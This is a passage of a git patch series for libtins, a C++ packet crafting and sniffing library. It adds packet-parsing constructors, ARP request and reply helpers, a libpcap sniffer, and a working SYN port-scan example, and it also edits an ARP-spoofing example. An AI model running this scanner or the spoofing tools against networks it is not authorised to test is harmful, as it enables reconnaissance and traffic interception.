sizeof(arphdr)); hw_addr_format(1); prot_addr_format(0x0800); hw_addr_length(6); @@ -103,7 +46,16 @@ Tins::ARP::ARP(uint32_t target_ip, uint32_t sender_ip, const uint8_t *target_hw, target_hw_addr(target_hw); } -Tins::ARP::ARP(arphdr *arp_ptr) : PDU(Utils::net_to_host_s(0x0806)) { +Tins::ARP::ARP(const uint8_t *buffer, uint32_t total_sz) : PDU(0x0608) { + if(total_sz < sizeof(arphdr)) + throw std::runtime_error("Not enought size for an ARP header in the buffer."); + memcpy(&_arp, buffer, sizeof(arphdr)); + total_sz -= sizeof(arphdr); + if(total_sz) + inner_pdu(new RawPDU(buffer + sizeof(arphdr), total_sz)); +} + +Tins::ARP::ARP(const arphdr *arp_ptr) : PDU(Utils::net_to_host_s(0x0806)) { memcpy(&_arp, arp_ptr, sizeof(arphdr)); } @@ -188,10 +140,10 @@ bool Tins::ARP::matches_response(uint8_t *ptr, uint32_t total_sz) { return arp_ptr->ar_sip == _arp.ar_tip && arp_ptr->ar_tip == _arp.ar_sip; } -Tins::PDU *Tins::ARP::clone_packet(uint8_t *ptr, uint32_t total_sz) { +Tins::PDU *Tins::ARP::clone_packet(const uint8_t *ptr, uint32_t total_sz) { if(total_sz < sizeof(arphdr)) return 0; - arphdr *arp_ptr = (arphdr*)ptr; + const arphdr *arp_ptr = (arphdr*)ptr; PDU *child = 0, *cloned; if(total_sz > sizeof(arphdr)) { if((child = PDU::clone_inner_pdu(ptr + sizeof(arphdr), total_sz - sizeof(arphdr))) == 0) @@ -201,3 +153,61 @@ Tins::PDU *Tins::ARP::clone_packet(uint8_t *ptr, uint32_t total_sz) { cloned->inner_pdu(child); return cloned; } + +Tins::PDU* Tins::ARP::make_arp_request(const string& iface, + const string& target, + const string& sender, + const uint8_t* hw_snd) { + uint32_t target_ip = Tins::Utils::resolve_ip(target); + uint32_t sender_ip = Tins::Utils::resolve_ip(sender); + return make_arp_request(iface, target_ip, sender_ip, hw_snd); +} + +Tins::PDU* Tins::ARP::make_arp_request(const std::string& iface, + uint32_t target, + uint32_t sender, + const uint8_t* hw_snd) { + + /* Create ARP packet and set its attributes */ + ARP* arp = new ARP(); + arp->target_ip_addr(target); + arp->sender_ip_addr(sender); + if (hw_snd) { + arp->sender_hw_addr(hw_snd); + } + arp->opcode(REQUEST); + + /* Create the EthernetII PDU with the ARP PDU as its inner PDU */ + EthernetII* eth = new EthernetII(iface, Tins::EthernetII::BROADCAST, hw_snd, arp); + return eth; +} + +Tins::PDU* Tins::ARP::make_arp_reply(const string& iface, + const string& target, + const string& sender, + const uint8_t* hw_tgt, + const uint8_t* hw_snd) { + + uint32_t target_ip = Tins::Utils::resolve_ip(target); + uint32_t sender_ip = Tins::Utils::resolve_ip(sender); + return make_arp_reply(iface, target_ip, sender_ip, hw_tgt, hw_snd); +} + +Tins::PDU* Tins::ARP::make_arp_reply(const string& iface, + uint32_t target, + uint32_t sender, + const uint8_t* hw_tgt, + const uint8_t* hw_snd) { + + /* Create ARP packet and set its attributes */ + ARP* arp = new ARP(); + arp->target_ip_addr(target); + arp->sender_ip_addr(sender); + arp->target_hw_addr(hw_tgt); + arp->sender_hw_addr(hw_snd); + arp->opcode(REPLY); + + /* Create the EthernetII PDU with the ARP PDU as its inner PDU */ + EthernetII* eth = new EthernetII(iface, hw_tgt, hw_snd, arp); + return eth; +} diff --git a/src/dhcp.cpp b/src/dhcp.cpp index fe6c4da..cb42878 100644 --- a/src/dhcp.cpp +++ b/src/dhcp.cpp @@ -21,7 +21,6 @@ #include #include -#include //borrame #include "utils.h" #include "dhcp.h" diff --git a/src/ethernetII.cpp b/src/ethernetII.cpp index f5d954b..85f9d25 100644 --- a/src/ethernetII.cpp +++ b/src/ethernetII.cpp @@ -21,7 +21,7 @@ #include #include - +#include #ifndef WIN32 #include #include @@ -29,6 +29,8 @@ #endif #include "ethernetII.h" #include "rawpdu.h" +#include "ip.h" +#include "arp.h" #include "utils.h" const uint8_t* Tins::EthernetII::BROADCAST = (const uint8_t*)"\xff\xff\xff\xff\xff\xff"; @@ -54,10 +56,31 @@ Tins::EthernetII::EthernetII(uint32_t iface_index, const uint8_t* mac_dst, const this->_eth.payload_type = 0; } +Tins::EthernetII::EthernetII(const uint8_t *buffer, uint32_t total_sz) : PDU(ETHERTYPE_IP) { + if(total_sz < sizeof(ethhdr)) + throw std::runtime_error("Not enought size for an ethernetII header in the buffer."); + memcpy(&_eth, buffer, sizeof(ethhdr)); + PDU *next = 0; + switch(payload_type()) { + case ETHERTYPE_IP: + next = new Tins::IP(buffer + sizeof(ethhdr), total_sz - sizeof(ethhdr)); + break; + case ETHERTYPE_ARP: + next = new Tins::ARP(buffer + sizeof(ethhdr), total_sz - sizeof(ethhdr)); + break; + // Other protos plz + } + inner_pdu(next); +} + Tins::EthernetII::EthernetII(ethhdr *eth_ptr) : PDU(ETHERTYPE_IP) { memcpy(&_eth, eth_ptr, sizeof(ethhdr)); } +uint16_t Tins::EthernetII::payload_type() const { + return Utils::net_to_host_s(_eth.payload_type); +} + void Tins::EthernetII::dst_mac(const uint8_t* new_dst_mac) { memcpy(this->_eth.dst_mac, new_dst_mac, 6); } diff --git a/src/icmp.cpp b/src/icmp.cpp index 774e753..e3ca194 100644 --- a/src/icmp.cpp +++ b/src/icmp.cpp @@ -19,12 +19,12 @@ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ - +#include +#include +#include #ifndef WIN32 #include #endif -#include -#include #include "icmp.h" #include "rawpdu.h" #include "utils.h" @@ -48,7 +48,16 @@ Tins::ICMP::ICMP(Flags flag) : PDU(IPPROTO_ICMP) { }; } -Tins::ICMP::ICMP(icmphdr *ptr) : PDU(IPPROTO_ICMP) { +Tins::ICMP::ICMP(const uint8_t *buffer, uint32_t total_sz) : PDU(IPPROTO_ICMP) { + if(total_sz < sizeof(icmphdr)) + throw std::runtime_error("Not enought size for an ICMP header in the buffer."); + std::memcpy(&_icmp, buffer, sizeof(icmphdr)); + total_sz -= sizeof(icmphdr); + if(total_sz) + inner_pdu(new RawPDU(buffer + sizeof(icmphdr), total_sz)); +} + +Tins::ICMP::ICMP(const icmphdr *ptr) : PDU(IPPROTO_ICMP) { std::memcpy(&_icmp, ptr, sizeof(icmphdr)); } @@ -177,10 +186,10 @@ bool Tins::ICMP::matches_response(uint8_t *ptr, uint32_t total_sz) { return false; } -Tins::PDU *Tins::ICMP::clone_packet(uint8_t *ptr, uint32_t total_sz) { +Tins::PDU *Tins::ICMP::clone_packet(const uint8_t *ptr, uint32_t total_sz) { if(total_sz < sizeof(icmphdr)) return 0; - icmphdr *icmp_ptr = (icmphdr*)ptr; + const icmphdr *icmp_ptr = (icmphdr*)ptr; PDU *child = 0, *cloned; if(total_sz > sizeof(icmphdr)) { if((child = PDU::clone_inner_pdu(ptr + sizeof(icmphdr), total_sz - sizeof(icmphdr))) == 0) diff --git a/src/ip.cpp b/src/ip.cpp index b54de5c..c513ae5 100644 --- a/src/ip.cpp +++ b/src/ip.cpp @@ -19,12 +19,16 @@ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ +#include #include #include #ifndef WIN32 #include #endif #include "ip.h" +#include "tcp.h" +#include "udp.h" +#include "icmp.h" #include "rawpdu.h" #include "utils.h" @@ -42,6 +46,29 @@ Tins::IP::IP(const string &ip_dst, const string &ip_src, PDU *child) : PDU(IPPRO } +Tins::IP::IP(const uint8_t *buffer, uint32_t total_sz) : PDU(IPPROTO_IP) { + if(total_sz < sizeof(iphdr)) + throw std::runtime_error("Not enought size for an IP header in the buffer."); + std::memcpy(&_ip, buffer, sizeof(iphdr)); + /* Options... */ + buffer += head_len() * sizeof(uint32_t); + total_sz -= head_len() * sizeof(uint32_t); + switch(_ip.protocol) { + case IPPROTO_TCP: + inner_pdu(new Tins::TCP(buffer, total_sz)); + break; + case IPPROTO_UDP: + inner_pdu(new Tins::UDP(buffer, total_sz)); + break; + case IPPROTO_ICMP: + inner_pdu(new Tins::ICMP(buffer, total_sz)); + break; + default: + inner_pdu(new Tins::RawPDU(buffer, total_sz)); + break; + } +} + Tins::IP::IP(const iphdr *ptr) : PDU(IPPROTO_IP) { std::memcpy(&_ip, ptr, sizeof(iphdr)); /* Options... */ @@ -241,10 +268,10 @@ bool Tins::IP::matches_response(uint8_t *ptr, uint32_t total_sz) { return false; } -Tins::PDU *Tins::IP::clone_packet(uint8_t *ptr, uint32_t total_sz) { +Tins::PDU *Tins::IP::clone_packet(const uint8_t *ptr, uint32_t total_sz) { if(total_sz < sizeof(iphdr)) return 0; - iphdr *ip_ptr = (iphdr*)ptr; + const iphdr *ip_ptr = (iphdr*)ptr; uint32_t sz = ip_ptr->ihl * sizeof(uint32_t); if(total_sz < sz) return 0; diff --git a/src/pdu.cpp b/src/pdu.cpp index cadae31..07e1b92 100644 --- a/src/pdu.cpp +++ b/src/pdu.cpp @@ -20,7 +20,6 @@ */ #include -#include //borrame #include "utils.h" #include "pdu.h" #include "rawpdu.h" @@ -69,7 +68,7 @@ void Tins::PDU::serialize(uint8_t *buffer, uint32_t total_sz, const PDU *parent) write_serialization(buffer, total_sz, parent); } -Tins::PDU *Tins::PDU::clone_inner_pdu(uint8_t *ptr, uint32_t total_sz) { +Tins::PDU *Tins::PDU::clone_inner_pdu(const uint8_t *ptr, uint32_t total_sz) { PDU *child = 0; if(inner_pdu()) { child = inner_pdu()->clone_packet(ptr, total_sz); @@ -77,7 +76,7 @@ Tins::PDU *Tins::PDU::clone_inner_pdu(uint8_t *ptr, uint32_t total_sz) { return 0; } else - child = new RawPDU(ptr, total_sz, true); + child = new RawPDU(ptr, total_sz); return child; } diff --git a/src/rawpdu.cpp b/src/rawpdu.cpp index 27028d1..f2946e0 100644 --- a/src/rawpdu.cpp +++ b/src/rawpdu.cpp @@ -24,11 +24,13 @@ #include "rawpdu.h" -Tins::RawPDU::RawPDU(uint8_t *pload, uint32_t size, bool copy) : PDU(255), _payload(pload), _payload_size(size), _owns_payload(copy) { - if(copy) { - _payload = new uint8_t[size]; - std::memcpy(_payload, pload, size); - } +Tins::RawPDU::RawPDU(const uint8_t *pload, uint32_t size) : PDU(255), _payload_size(size), _owns_payload(true) { + _payload = new uint8_t[size]; + std::memcpy(_payload, pload, size); +} + +Tins::RawPDU::RawPDU(uint8_t *pload, uint32_t size) : PDU(255), _payload(pload), _payload_size(size), _owns_payload(false) { + } Tins::RawPDU::~RawPDU() { diff --git a/src/sniffer.cpp b/src/sniffer.cpp new file mode 100644 index 0000000..ed074cb --- /dev/null +++ b/src/sniffer.cpp @@ -0,0 +1,64 @@ +#include +#include "sniffer.h" +#include "ethernetII.h" + + +using namespace std; + +Tins::Sniffer::Sniffer(const string &device, unsigned max_packet_size) { + char error[PCAP_ERRBUF_SIZE]; + if (pcap_lookupnet(device.c_str(), &ip, &mask, error) == -1) + throw runtime_error(error); + handle = pcap_open_live(device.c_str(), max_packet_size, 0, 0, error); + if(!handle) + throw runtime_error(error); +} + +Tins::Sniffer::~Sniffer() { + if(handle) + pcap_close(handle); +} + +bool Tins::Sniffer::compile_set_filter(const string &filter, bpf_program &prog) { + return (pcap_compile(handle, &prog, filter.c_str(), 0, ip) != -1 && pcap_setfilter(handle, &prog) != -1); +} + +Tins::PDU *Tins::Sniffer::next_pdu(const string &filter) { + bpf_program prog; + if(!compile_set_filter(filter, prog)) + return 0; + pcap_pkthdr header; + PDU *ret = 0; + while(!ret) { + const u_char *content = pcap_next(handle, &header); + try { + ret = new EthernetII((const uint8_t*)content, header.caplen); + } + catch(...) { + ret = 0; + } + } + pcap_freecode(&prog); + return ret; +} + +void Tins::Sniffer::sniff_loop(const std::string &filter, AbstractSnifferHandler *cback_handler, uint32_t max_packets) { + bpf_program prog; + if(compile_set_filter(filter, prog)) { + pcap_loop(handle, max_packets, Sniffer::callback_handler, (u_char*)cback_handler); + pcap_freecode(&prog); + } +} + +// Static +void Tins::Sniffer::callback_handler(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { + try { + PDU *pdu = new EthernetII((const uint8_t*)packet, header->caplen); + reinterpret_cast(args)->handle(pdu); + delete pdu; + } + catch(...) { + + } +} + diff --git a/src/tcp.cpp b/src/tcp.cpp index fea0d5e..421bd98 100644 --- a/src/tcp.cpp +++ b/src/tcp.cpp @@ -19,6 +19,7 @@ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ +#include #include #include #ifndef WIN32 @@ -41,6 +42,18 @@ Tins::TCP::TCP(uint16_t dport, uint16_t sport) : PDU(IPPROTO_TCP), _options_size this->check(0); } +Tins::TCP::TCP(const uint8_t *buffer, uint32_t total_sz) : PDU(IPPROTO_TCP) { + if(total_sz < sizeof(tcphdr)) + throw std::runtime_error("Not enought size for an TCP header in the buffer."); + std::memcpy(&_tcp, buffer, sizeof(tcphdr)); + + /* Options... */ + + total_sz -= sizeof(tcphdr); + if(total_sz) + inner_pdu(new RawPDU(buffer + sizeof(tcphdr), total_sz)); +} + Tins::TCP::~TCP() { for(unsigned i(0); i < _options.size(); ++i) delete[] _options[i].data; @@ -92,6 +105,38 @@ void Tins::TCP::set_timestamp(uint32_t value, uint32_t reply) { add_option(TSOPT, 8, (uint8_t*)&buffer); } +uint8_t Tins::TCP::get_flag(Flags tcp_flag) { + switch(tcp_flag) { + case FIN: + return _tcp.fin; + break; + case SYN: + return _tcp.syn; + break; + case RST: + return _tcp.rst; + break; + case PSH: + return _tcp.psh; + break; + case ACK: + return _tcp.ack; + break; + case URG: + return _tcp.urg; + break; + case ECE: + return _tcp.ece; + break; + case CWR: + return _tcp.cwr; + break; + default: + return 0; + break; + }; +} + void Tins::TCP::set_flag(Flags tcp_flag, uint8_t value) { switch(tcp_flag) { case FIN: diff --git a/src/udp.cpp b/src/udp.cpp index 8199927..0f6aa44 100644 --- a/src/udp.cpp +++ b/src/udp.cpp @@ -19,11 +19,12 @@ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ +#include +#include +#include #ifndef WIN32 #include #endif -#include -#include #include "utils.h" #include "udp.h" #include "ip.h" @@ -36,6 +37,15 @@ Tins::UDP::UDP(uint16_t dport, uint16_t sport, PDU *child) : PDU(IPPROTO_UDP, ch _udp.len = 0; } +Tins::UDP::UDP(const uint8_t *buffer, uint32_t total_sz) : PDU(IPPROTO_UDP) { + if(total_sz < sizeof(udphdr)) + throw std::runtime_error("Not enought size for an UDP header in the buffer."); + std::memcpy(&_udp, buffer, sizeof(udphdr)); + total_sz -= sizeof(udphdr); + if(total_sz) + inner_pdu(new RawPDU(buffer + sizeof(udphdr), total_sz)); +} + void Tins::UDP::payload(uint8_t *new_payload, uint32_t new_payload_size) { inner_pdu(new RawPDU(new_payload, new_payload_size)); } From a690f0db984a61b19838190178a2f86a4f491093 Mon Sep 17 00:00:00 2001 From: Matias Fontanini Date: Thu, 18 Aug 2011 20:50:12 -0300 Subject: [PATCH 5/7] Sniffer::sniff_loop now stops sniffing when handler return false. --- src/sniffer.cpp | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/src/sniffer.cpp b/src/sniffer.cpp index ed074cb..057f43a 100644 --- a/src/sniffer.cpp +++ b/src/sniffer.cpp @@ -5,6 +5,18 @@ using namespace std; +/** \cond */ + +struct LoopData { + pcap_t *handle; + Tins::AbstractSnifferHandler *c_handler; + + LoopData(pcap_t *_handle, Tins::AbstractSnifferHandler *_handler) : handle(_handle), c_handler(_handler) { } +}; + +/** \endcond */ + + Tins::Sniffer::Sniffer(const string &device, unsigned max_packet_size) { char error[PCAP_ERRBUF_SIZE]; if (pcap_lookupnet(device.c_str(), &ip, &mask, error) == -1) @@ -45,7 +57,8 @@ Tins::PDU *Tins::Sniffer::next_pdu(const string &filter) { void Tins::Sniffer::sniff_loop(const std::string &filter, AbstractSnifferHandler *cback_handler, uint32_t max_packets) { bpf_program prog; if(compile_set_filter(filter, prog)) { - pcap_loop(handle, max_packets, Sniffer::callback_handler, (u_char*)cback_handler); + LoopData data(handle, cback_handler); + pcap_loop(handle, max_packets, Sniffer::callback_handler, (u_char*)&data); pcap_freecode(&prog); } } @@ -54,8 +67,11 @@ void Tins::Sniffer::sniff_loop(const std::string &filter, AbstractSnifferHandler void Tins::Sniffer::callback_handler(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { try { PDU *pdu = new EthernetII((const uint8_t*)packet, header->caplen); - reinterpret_cast(args)->handle(pdu); + LoopData *data = reinterpret_cast(args); + bool ret_val = data->c_handler->handle(pdu); delete pdu; + if(!ret_val) + pcap_breakloop(data->handle); } catch(...) { From 3a751848a8e5de5698ddd116ed6d3759e3350fb3 Mon Sep 17 00:00:00 2001 From: Matias Fontanini Date: Fri, 19 Aug 2011 00:07:41 -0300 Subject: [PATCH 6/7] Added a portscan example. It's kind of nasty, but works. --- examples/arpspoofing.cpp | 2 +- examples/portscan.cpp | 116 +++++++++++++++++++++++++++++++++++++++ include/sniffer.h | 27 +++++++++ include/utils.h | 22 ++++++-- src/sniffer.cpp | 26 +++++++++ src/utils.cpp | 44 +++++++++++++++ 6 files changed, 232 insertions(+), 5 deletions(-) create mode 100644 examples/portscan.cpp diff --git a/examples/arpspoofing.cpp b/examples/arpspoofing.cpp index d013a46..53e0cc1 100644 --- a/examples/arpspoofing.cpp +++ b/examples/arpspoofing.cpp @@ -74,7 +74,7 @@ int do_arp_spoofing(uint32_t iface, const string &iface_name, uint32_t gw, uint3 } int main(int argc, char *argv[]) { - if(argc < 3 && cout << "Usage: [Interface=eth0]\n") + if(argc < 3 && cout << "Usage: " << *argv << " [Interface=eth0]\n") return 1; uint32_t gw, victim, own_ip; uint8_t own_hw[6]; diff --git a/examples/portscan.cpp b/examples/portscan.cpp new file mode 100644 index 0000000..5f9c0d6 --- /dev/null +++ b/examples/portscan.cpp @@ -0,0 +1,116 @@ +/* + * libtins is a net packet wrapper library for crafting and + * interpreting sniffed packets. + * + * Copyright (C) 2011 Nasel + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include +#include +#include +#include +#include "ip.h" +#include "tcp.h" +#include "ethernetII.h" +#include "sniffer.h" +#include "utils.h" +#include "packetsender.h" + + +using namespace std; +using namespace Tins; + +struct ThreadData { + string interface; + string ip; +}; + +struct ScanHandler { + bool operator() (PDU *pdu) { + EthernetII *eth = dynamic_cast(pdu); + if(eth) { + IP *ip = dynamic_cast(pdu->inner_pdu()); + if(ip) { + TCP *tcp = dynamic_cast(ip->inner_pdu()); + if(tcp) { + if(tcp->get_flag(TCP::RST)) + cout << "Port: " << tcp->sport() << " closed\n"; + else if(tcp->get_flag(TCP::SYN)) + cout << "Port: " << tcp->sport() << " open\n"; + } + } + } + return true; + } +}; + + +Sniffer *sniffer; + +void send_syns(const string &iface, uint32_t dest_ip, int argc, char *argv[]) { + uint32_t own_ip; + if(!Utils::interface_ip(iface, own_ip) && cout << "Error obtaining interface ip.\n") + return; + PacketSender sender; + TCP *tcp = new TCP(); + IP ip(dest_ip, own_ip, tcp); + tcp->set_flag(TCP::SYN, 1); + while(argc--) { + uint32_t port = atoi(*(argv++)); + tcp->dport(port); + sender.send(&ip); + } +} + +void *thread_proc(void *param) { + ThreadData *data = (ThreadData*)param; + ScanHandler handler; + AbstractSnifferHandler *my_handler = new SnifferHandler(&handler); + sniffer->sniff_loop("tcp and ip src " + data->ip, my_handler); + cout << "Listo\n"; + delete my_handler; + return 0; +} + +int main(int argc, char *argv[]) { + if(argc < 3 && cout << "Usage: " << *argv << " [port2] [port3]\n") + return 1; + uint32_t ip; + try { + ip = Utils::resolve_ip(argv[1]); + } + catch(...) { + cout << "IP address is not valid.\n"; + return 2; + } + string iface = Utils::interface_from_ip(ip); + if(!iface.size() && cout << "Could not locate gateway interface for given ip address\n") + return 3; + sniffer = new Sniffer(iface, 300); + ThreadData data; + data.interface = iface; + data.ip = argv[1]; + pthread_t thread; + pthread_create(&thread, 0, thread_proc, &data); + + send_syns(iface, ip, argc - 2, argv + 2); + + sleep(5); + + pthread_cancel(thread); + delete sniffer; +} diff --git a/include/sniffer.h b/include/sniffer.h index 6f9b3a4..1adfd71 100644 --- a/include/sniffer.h +++ b/include/sniffer.h @@ -1,3 +1,25 @@ +/* + * libtins is a net packet wrapper library for crafting and + * interpreting sniffed packets. + * + * Copyright (C) 2011 Nasel + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + + #ifndef __SNIFFER_H #define __SNIFFER_H @@ -71,6 +93,11 @@ namespace Tins { * \param max_packets The maximum amount of packets to sniff. 0 == infinite. */ void sniff_loop(const std::string &filter, AbstractSnifferHandler *cback_handler, uint32_t max_packets = 0); + + /** + * \brief Stops sniffing loops. + */ + void stop_sniff(); private: bool compile_set_filter(const std::string &filter, bpf_program &prog); diff --git a/include/utils.h b/include/utils.h index 55b4318..41da69e 100644 --- a/include/utils.h +++ b/include/utils.h @@ -97,7 +97,8 @@ namespace Tins { */ std::set network_interfaces(); - /** \brief Lookup the ip address of the given interface. + /** + * \brief Lookup the ip address of the given interface. * * If the lookup fails, false will be returned, true otherwise. * \param iface The interface from which to extract the ip address. @@ -105,7 +106,8 @@ namespace Tins { */ bool interface_ip(const std::string &iface, uint32_t &ip); - /** \brief Lookup the hardware address of the given interface. + /** + * \brief Lookup the hardware address of the given interface. * * If the lookup fails, false will be returned, true otherwise. * \param iface The interface from which to extract the hardware address. @@ -114,7 +116,8 @@ namespace Tins { */ bool interface_hwaddr(const std::string &iface, uint8_t *buffer); - /** \brief Lookup the interface identifier. + /** + * \brief Lookup the interface identifier. * * If the lookup fails, false will be returned, true otherwise. * \param iface The interface from which to extract the identifier. @@ -122,7 +125,18 @@ namespace Tins { */ bool interface_id(const std::string &iface, uint32_t &id); - /** \brief Convert 32 bit integer into network byte order. + /** + * \brief Finds the gateway interface matching the given ip. + * + * This function find the interface which would be the gateway + * when sending a packet to the given ip. + * \param ip The ip of the interface we are looking for. + * \return The interface's name. + */ + std::string interface_from_ip(uint32_t ip); + + /** + * \brief Convert 32 bit integer into network byte order. * * \param data The data to convert. */ diff --git a/src/sniffer.cpp b/src/sniffer.cpp index 057f43a..434539d 100644 --- a/src/sniffer.cpp +++ b/src/sniffer.cpp @@ -1,3 +1,25 @@ +/* + * libtins is a net packet wrapper library for crafting and + * interpreting sniffed packets. + * + * Copyright (C) 2011 Nasel + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + + #include #include "sniffer.h" #include "ethernetII.h" @@ -54,6 +76,10 @@ Tins::PDU *Tins::Sniffer::next_pdu(const string &filter) { return ret; } +void Tins::Sniffer::stop_sniff() { + pcap_breakloop(handle); +} + void Tins::Sniffer::sniff_loop(const std::string &filter, AbstractSnifferHandler *cback_handler, uint32_t max_packets) { bpf_program prog; if(compile_set_filter(filter, prog)) { diff --git a/src/utils.cpp b/src/utils.cpp index a47453d..295cade 100644 --- a/src/utils.cpp +++ b/src/utils.cpp @@ -21,6 +21,7 @@ #include #include +#include #include #include #include @@ -76,6 +77,29 @@ struct HWAddressCollector { } }; +bool from_hex(const string &str, uint32_t &result) { + unsigned i(0); + result = 0; + while(i < str.size()) { + uint8_t tmp; + if(str[i] >= 'A' && str[i] <= 'F') + tmp = (str[i] - 'A' + 10); + else if(str[i] >= '0' && str[i] <= '9') + tmp = (str[i] - '0'); + else + return false; + result = (result << 4) | tmp; + i++; + } + return true; +} + +void skip_line(istream &input) { + int c = 0; + while(c != '\n' && input) + c = input.get(); +} + /** \endcond */ uint32_t Tins::Utils::ip_to_int(const string &ip) { @@ -179,6 +203,26 @@ bool Tins::Utils::resolve_hwaddr(const string &iface, uint32_t ip, uint8_t *buff return false; } +string Tins::Utils::interface_from_ip(uint32_t ip) { + ifstream input("/proc/net/route"); + bool match(false); + string iface; + string destination, mask; + uint32_t destination_int, mask_int; + skip_line(input); + while(!match) { + input >> iface >> destination; + for(unsigned i(0); i < 6; ++i) + input >> mask; + from_hex(destination, destination_int); + from_hex(mask, mask_int); + if((ip & mask_int) == destination_int) + return iface; + skip_line(input); + } + return ""; +} + set Tins::Utils::network_interfaces() { InterfaceCollector collector; generic_iface_loop(collector); From bb3ea10209e4ccf44c0f5d8c87b653072410d632 Mon Sep 17 00:00:00 2001 From: Matias Fontanini Date: Fri, 19 Aug 2011 00:15:09 -0300 Subject: [PATCH 7/7] Fixed Makefile.in to link with libpcap. --- Makefile.in | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile.in b/Makefile.in index 6fbd825..08ee260 100644 --- a/Makefile.in +++ b/Makefile.in @@ -1,6 +1,6 @@ CXX=@CXX@ CFLAGS=-c -Wall @CFLAGS@ -DTINS_VERSION=@PACKAGE_VERSION@ -LDFLAGS= +LDFLAGS=-lpcap SOURCES=$(wildcard src/*.cpp) OBJECTS=$(SOURCES:.cpp=.o)